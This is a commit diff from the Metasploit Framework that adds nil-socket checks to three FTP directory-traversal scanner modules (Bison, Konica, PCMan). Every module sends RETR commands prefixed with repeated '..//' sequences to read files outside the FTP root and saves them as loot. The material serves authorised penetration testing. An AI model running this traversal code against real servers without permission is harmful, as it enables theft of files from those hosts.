Skip to content

Commit 2dca7c8

Browse files
committed
applying rapid7#7582 to all ftp aux traversals
1 parent efa191d commit 2dca7c8

File tree

3 files changed

+102
-64
lines changed

3 files changed

+102
-64
lines changed

modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb

Lines changed: 38 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -61,32 +61,46 @@ def run_host(target_host)
6161
connect_login
6262
sock = data_connect
6363

64-
file_path = datastore['PATH']
65-
file = ::File.basename(file_path)
66-
67-
# make RETR request and store server response message...
68-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
69-
res = send_cmd( ["RETR", retr_cmd])
70-
71-
# read the file data from the socket that we opened
72-
response_data = sock.read(1024)
73-
74-
unless response_data
75-
print_error("#{file} not found")
76-
return
64+
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
65+
# and #7582
66+
if sock.nil?
67+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
68+
print_status(error_msg)
69+
elog(error_msg)
70+
else
71+
file_path = datastore['PATH']
72+
file = ::File.basename(file_path)
73+
74+
# make RETR request and store server response message...
75+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
76+
res = send_cmd( ["RETR", retr_cmd])
77+
78+
# read the file data from the socket that we opened
79+
# dont assume theres still a sock to read from. Per #7582
80+
if sock.nil?
81+
return
82+
else
83+
# read the file data from the socket that we opened
84+
response_data = sock.read(1024)
85+
end
86+
87+
unless response_data
88+
print_error("#{file} not found")
89+
return
90+
end
91+
92+
if response_data.length == 0
93+
print_status("File (#{file_path})from #{peer} is empty...")
94+
return
95+
end
96+
97+
# store file data to loot
98+
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
99+
vprint_status("Data returned:\n")
100+
vprint_line(response_data)
101+
print_good("Stored #{file_path} to #{loot_file}")
77102
end
78103
79-
if response_data.length == 0
80-
print_status("File (#{file_path})from #{peer} is empty...")
81-
return
82-
end
83-
84-
# store file data to loot
85-
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
86-
vprint_status("Data returned:\n")
87-
vprint_line(response_data)
88-
print_good("Stored #{file_path} to #{loot_file}")
89-
90104
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
91105
vprint_error(e.message)
92106
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")

modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb

Lines changed: 32 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -62,31 +62,43 @@ def run_host(target_host)
6262
# Login anonymously and open the socket that we'll use for data retrieval.
6363
connect_login
6464
sock = data_connect
65-
file_path = datastore['PATH']
66-
file = ::File.basename(file_path)
65+
if sock.nil?
66+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
67+
print_status(error_msg)
68+
elog(error_msg)
69+
else
70+
file_path = datastore['PATH']
71+
file = ::File.basename(file_path)
6772
68-
# make RETR request and store server response message...
69-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
70-
res = send_cmd( ["RETR", retr_cmd])
73+
# make RETR request and store server response message...
74+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
75+
res = send_cmd( ["RETR", retr_cmd])
7176
72-
# read the file data from the socket that we opened
73-
response_data = sock.read(1024)
77+
# read the file data from the socket that we opened
78+
# dont assume theres still a sock to read from. Per #7582
79+
if sock.nil?
80+
return
81+
else
82+
# read the file data from the socket that we opened
83+
response_data = sock.read(1024)
84+
end
7485
75-
unless response_data
76-
print_error("#{file_path} not found")
77-
return
78-
end
86+
unless response_data
87+
print_error("#{file_path} not found")
88+
return
89+
end
7990
80-
if response_data.length == 0 or ! (res =~ /^150/ )
81-
print_status("File (#{file_path})from #{peer} is empty...")
82-
return
83-
end
91+
if response_data.length == 0 or ! (res =~ /^150/ )
92+
print_status("File (#{file_path})from #{peer} is empty...")
93+
return
94+
end
8495
85-
# store file data to loot
86-
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
87-
vprint_status("Data returned:\n")
88-
vprint_line(response_data)
89-
print_good("Stored #{file_path} to #{loot_file}")
96+
# store file data to loot
97+
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
98+
vprint_status("Data returned:\n")
99+
vprint_line(response_data)
100+
print_good("Stored #{file_path} to #{loot_file}")
101+
end
90102
91103
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
92104
vprint_error(e.message)

modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb

Lines changed: 32 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -60,31 +60,43 @@ def run_host(target_host)
6060
# Login anonymously and open the socket that we'll use for data retrieval.
6161
connect_login
6262
sock = data_connect
63-
file_path = datastore['PATH']
64-
file = ::File.basename(file_path)
63+
if sock.nil?
64+
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
65+
print_status(error_msg)
66+
elog(error_msg)
67+
else
68+
file_path = datastore['PATH']
69+
file = ::File.basename(file_path)
6570
66-
# make RETR request and store server response message...
67-
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
68-
res = send_cmd( ["RETR", retr_cmd])
71+
# make RETR request and store server response message...
72+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
73+
res = send_cmd( ["RETR", retr_cmd])
6974
70-
# read the file data from the socket that we opened
71-
response_data = sock.read(1024)
75+
# read the file data from the socket that we opened
76+
# dont assume theres still a sock to read from. Per #7582
77+
if sock.nil?
78+
return
79+
else
80+
# read the file data from the socket that we opened
81+
response_data = sock.read(1024)
82+
end
7283
73-
unless response_data
74-
print_error("#{file_path} not found")
75-
return
76-
end
84+
unless response_data
85+
print_error("#{file_path} not found")
86+
return
87+
end
7788
78-
if response_data.length == 0 or ! (res =~ /^150/ )
79-
print_status("File (#{file_path})from #{peer} is empty...")
80-
return
81-
end
89+
if response_data.length == 0 or ! (res =~ /^150/ )
90+
print_status("File (#{file_path})from #{peer} is empty...")
91+
return
92+
end
8293
83-
# store file data to loot
84-
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
85-
vprint_status("Data returned:\n")
86-
vprint_line(response_data)
87-
print_good("Stored #{file_path} to #{loot_file}")
94+
# store file data to loot
95+
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
96+
vprint_status("Data returned:\n")
97+
vprint_line(response_data)
98+
print_good("Stored #{file_path} to #{loot_file}")
99+
end
88100
89101
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
90102
vprint_error(e.message)

0 commit comments

Comments
 (0)